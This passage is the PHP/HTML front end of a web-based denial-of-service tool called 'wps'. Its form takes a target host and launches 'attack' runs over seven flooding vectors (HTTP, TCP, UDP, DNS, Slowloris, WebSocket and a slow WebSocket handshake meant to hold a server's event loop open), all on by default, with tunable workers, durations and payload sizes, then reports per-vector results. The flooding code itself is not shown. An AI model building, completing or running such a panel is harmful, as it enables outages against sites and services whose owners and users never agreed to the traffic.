.card h2::before{content:"";width:3px;height:14px;background:var(--acc);border-radius:2px}
table{width:100%;border-collapse:collapse;font-size:12px;margin-top:.3em}
th,td{text-align:left;padding:.4em .7em;border-bottom:1px solid var(--b)}
th{color:var(--t2);font-size:11px;text-transform:uppercase}
.ok{color:var(--ok);font-weight:600}.err{color:var(--err)}.warn{color:var(--warn)}
pre{background:var(--bg2);border:1px solid var(--b);padding:.9em 1.2em;border-radius:6px;overflow:auto;max-height:40vh;white-space:pre-wrap;word-break:break-word;font-size:12px;font-family:ui-monospace,monospace}
.tag{display:inline-block;padding:.12em .5em;border-radius:4px;font-size:10.5px;font-weight:600;background:#1a222c;color:#9ba9bc}
.tag.ok{background:#163222;color:var(--ok)}.tag.warn{background:#332a16;color:var(--warn)}.tag.err{background:#331a1a;color:var(--err)}
.stat{display:inline-block;background:#161d27;padding:.3em .8em;border-radius:6px;font-size:11px;margin-right:.5em;margin-bottom:.4em;color:var(--t2)}
.stat strong{color:var(--acc);font-weight:700}
.chk{display:flex;align-items:center;gap:.5em;padding:.5em .7em;background:var(--bg2);border:1px solid var(--b2);border-radius:6px;cursor:pointer;user-select:none}
.chk input{width:auto;margin:0}
.chk span{font-size:12px;color:var(--t)}
.vec-block{border-top:1px solid var(--b);padding-top:.8em;margin-top:.8em}
.vec-block h3{font-size:11px;color:var(--acc);text-transform:uppercase;letter-spacing:.05em;margin-bottom:.5em}
.banner{background:#1a2a1a;border:1px solid #1e5a3a;color:var(--ok);padding:.6em 1em;border-radius:6px;font-size:11px;margin-bottom:.8em}
</style></head><body>
<h1>wps · HTTPS + WS + Node.js-aware</h1>
<div class="sub">HTTPS default. 7 vectors — HTTP, TCP, UDP, DNS, Slowloris, WebSocket, WS-slow. WS vector uses real Upgrade handshake with Sec-WebSocket-Key. WS-slow drips handshake to hold event loop open.</div>

<div class="hero">
<div class="banner">⚡ defaults: <?=h(DEFAULT_DURATION)?>s · <?=h(DEFAULT_WORKERS)?>w · <?=h(DEFAULT_SLOW_WORKERS)?>w slow · <?=h(DEFAULT_WS_WORKERS)?>w ws · <?=h(DEFAULT_WS_SLOW_WORKERS)?>w ws-slow · all 7 vectors on</div>
<form method="post">
<input type="hidden" name="a" value="attack">
<input type="hidden" name="vecs" value="1">
<div class="grid2">
<div><div class="lbl">target</div><input name="d" placeholder="example.com / https://example.com / 1.2.3.4" value="<?=h($_POST['d']??DEFAULT_TARGET)?>" autofocus></div>
<div><div class="grid5">
<div><div class="lbl">dur</div><input type="number" name="dur" value="<?=h($_POST['dur']??DEFAULT_DURATION)?>" min="1" max="<?=h(MAX_DURATION)?>"></div>
<div><div class="lbl">w</div><input type="number" name="w" value="<?=h($_POST['w']??DEFAULT_WORKERS)?>" min="1" max="<?=h(MAX_WORKERS)?>"></div>
<div><div class="lbl">slow</div><input type="number" name="sw" value="<?=h($_POST['sw']??DEFAULT_SLOW_WORKERS)?>" min="1" max="<?=h(MAX_WORKERS)?>"></div>
<div><div class="lbl">ws</div><input type="number" name="wsw" value="<?=h($_POST['wsw']??DEFAULT_WS_WORKERS)?>" min="1" max="<?=h(MAX_WORKERS)?>"></div>
<div><div class="lbl">ws-slow</div><input type="number" name="wssw" value="<?=h($_POST['wssw']??DEFAULT_WS_SLOW_WORKERS)?>" min="1" max="<?=h(MAX_WORKERS)?>"></div>
</div></div>
</div>

<div class="lbl">vectors (all on by default)</div>
<div class="grid4">
<label class="chk"><input type="checkbox" name="v_http" value="1" <?=($_SERVER['REQUEST_METHOD']!=='POST'||!empty($_POST['v_http']))?'checked':''?>><span>HTTP</span></label>
<label class="chk"><input type="checkbox" name="v_tcp"  value="1" <?=($_SERVER['REQUEST_METHOD']!=='POST'||!empty($_POST['v_tcp']))?'checked':''?>><span>TCP</span></label>
<label class="chk"><input type="checkbox" name="v_udp"  value="1" <?=($_SERVER['REQUEST_METHOD']!=='POST'||!empty($_POST['v_udp']))?'checked':''?>><span>UDP</span></label>
<label class="chk"><input type="checkbox" name="v_dns"  value="1" <?=($_SERVER['REQUEST_METHOD']!=='POST'||!empty($_POST['v_dns']))?'checked':''?>><span>DNS</span></label>
</div>
<div class="grid3" style="margin-top:.6em">
<label class="chk"><input type="checkbox" name="v_slow"   value="1" <?=($_SERVER['REQUEST_METHOD']!=='POST'||!empty($_POST['v_slow']))?'checked':''?>><span>Slowloris</span></label>
<label class="chk"><input type="checkbox" name="v_ws"     value="1" <?=($_SERVER['REQUEST_METHOD']!=='POST'||!empty($_POST['v_ws']))?'checked':''?>><span>WebSocket</span></label>
<label class="chk"><input type="checkbox" name="v_wsslow" value="1" <?=($_SERVER['REQUEST_METHOD']!=='POST'||!empty($_POST['v_wsslow']))?'checked':''?>><span>WS-slow</span></label>
</div>

<div class="vec-block">
<h3>HTTP / WS paths</h3>
<div class="grid3">
<div><div class="lbl">http port</div><input type="number" name="http_port" value="<?=h($_POST['http_port']??443)?>" min="1" max="65535"></div>
<div><div class="lbl">method</div>
<select name="http_method">
<?php foreach (HTTP_METHODS as $m): ?>
<option value="<?=h($m)?>"<?= (($_POST['http_method']??'GET')===$m)?' selected':'' ?>><?=h($m)?></option>
<?php endforeach; ?>
</select></div>
<div><div class="lbl">timeout</div><input type="number" name="to" value="<?=h($_POST['to']??5)?>" min="1" max="30"></div>
</div>
<div class="grid3" style="margin-top:.6em">
<div><div class="lbl">ws port</div><input type="number" name="ws_port" value="<?=h($_POST['ws_port']??443)?>" min="1" max="65535"></div>
<div><div class="lbl">ws path</div><input name="ws_path" value="<?=h($_POST['ws_path']??'/ws')?>"></div>
<div><div class="lbl">ws hold (ms)</div><input type="number" name="ws_hold_ms" value="<?=h($_POST['ws_hold_ms']??100)?>" min="0" max="5000"></div>
</div>
</div>

<div class="vec-block">
<h3>L3/L4 config</h3>
<div class="grid5">
<div><div class="lbl">tcp port</div><input type="number" name="tcp_port" value="<?=h($_POST['tcp_port']??443)?>" min="1" max="65535"></div>
<div><div class="lbl">tcp bytes</div><input type="number" name="tcp_payload" value="<?=h($_POST['tcp_payload']??0)?>" min="0"></div>
<div><div class="lbl">udp port</div><input type="number" name="udp_port" value="<?=h($_POST['udp_port']??53)?>" min="1" max="65535"></div>
<div><div class="lbl">udp bytes</div><input type="number" name="udp_payload" value="<?=h($_POST['udp_payload']??1400)?>" min="1" max="65000"></div>
<div><div class="lbl">dns port</div><input type="number" name="dns_port" value="<?=h($_POST['dns_port']??53)?>" min="1" max="65535"></div>
</div>
<div class="grid3" style="margin-top:.6em">
<div><div class="lbl">dns qname</div><input name="dns_qname" value="<?=h($_POST['dns_qname']??'example.com')?>"></div>
<div><div class="lbl">slowloris drip (ms)</div><input type="number" name="drip_ms" value="<?=h($_POST['drip_ms']??500)?>" min="0" max="5000"></div>
<div><div class="lbl">ws-slow drip (ms)</div><input type="number" name="ws_drip_ms" value="<?=h($_POST['ws_drip_ms']??1000)?>" min="0" max="5000"></div>
</div>
</div>

<button>RUN</button>
</form>
</div>

<?php if($action==='attack' && !empty($out['error'])): ?>
<div class="card"><h2>error</h2><pre><?=h($out['error'])?></pre></div>
<?php endif; ?>

<?php if($action==='attack' && empty($out['error'])): ?>
<div class="card"><h2>report · <?=h($out['target'])?></h2>
<span class="stat">ip <strong><?=h($out['ip'])?></strong></span>
<span class="stat">scheme <strong><?=h($out['scheme'])?></strong></span>
<span class="stat">dur <strong><?=h($out['duration'])?>s</strong></span>
<span class="stat">wall <strong><?=h($out['total_wall'])?>s</strong></span>
</div>

<?php foreach($out['results'] as $name=>$r): ?>
<div class="card"><h2><?=h($name)?></h2>
<?php if(!empty($r['error'])): ?>
<pre class="err"><?=h($r['error'])?></pre>
<?php else: ?>
<table>
<?php foreach($r as $k=>$v): if ($k==='vector'||$k==='codes') continue; ?>
<tr><th><?=h($k)?></th><td><?=h(is_array($v)?json_encode($v):$v)?></td></tr>
<?php endforeach; ?>
</table>
<?php if(!empty($r['codes'])): ?>
<table style="margin-top:.6em"><tr><th>code</th><th>count</th></tr>
<?php foreach($r['codes'] as $code=>$n): ?>
<tr><td><span class="tag <?=($code>=200&&$code<300)?'ok':'warn'?>"><?=h($code)?></span></td><td><?=h($n)?></td></tr>
<?php endforeach; ?>
</table>
<?php endif; ?>
<?php endif; ?>
</div>
<?php endforeach; ?>
<?php endif; ?>

<?php if($action==='home'): ?>
<div class="card"><h2>system</h2>
<table>
<tr><th>host</th><td><?=h($out['hostname'])?></td></tr>
<tr><th>pcntl_fork</th><td><span class="tag <?=$out['pcntl']==='on'?'ok':'warn'?>"><?=h($out['pcntl'])?></span></td></tr>
<tr><th>openssl</th><td><span class="tag <?=$out['openssl']==='on'?'ok':'warn'?>"><?=h($out['openssl'])?></span></td></tr>
<tr><th>curl</th><td><span class="tag <?=$out['curl']==='on'?'ok':'warn'?>"><?=h($out['curl'])?></span></td></tr>
<tr><th>sockets</th><td><span class="tag <?=$out['sockets']==='on'?'ok':'warn'?>"><?=h($out['sockets'])?></span></td></tr>
<tr><th>cpu cores</th><td><?=h($out['cpu'])?></td></tr>
<tr><th>default scheme</th><td><?=h($out['default_scheme'])?></td></tr>
<tr><th>defaults</th><td><?=h($out['default_dur'])?>s · <?=h($out['default_w'])?>w · <?=h($out['default_sw'])?>sl · <?=h($out['default_wsw'])?>ws · <?=h($out['default_wssw'])?>wss</td></tr>
<tr><th>max</th><td><?=h($out['max_dur'])?>s · <?=h($out['max_w'])?>w</td></tr>
</table>
</div>
<?php endif; ?>
</body></html>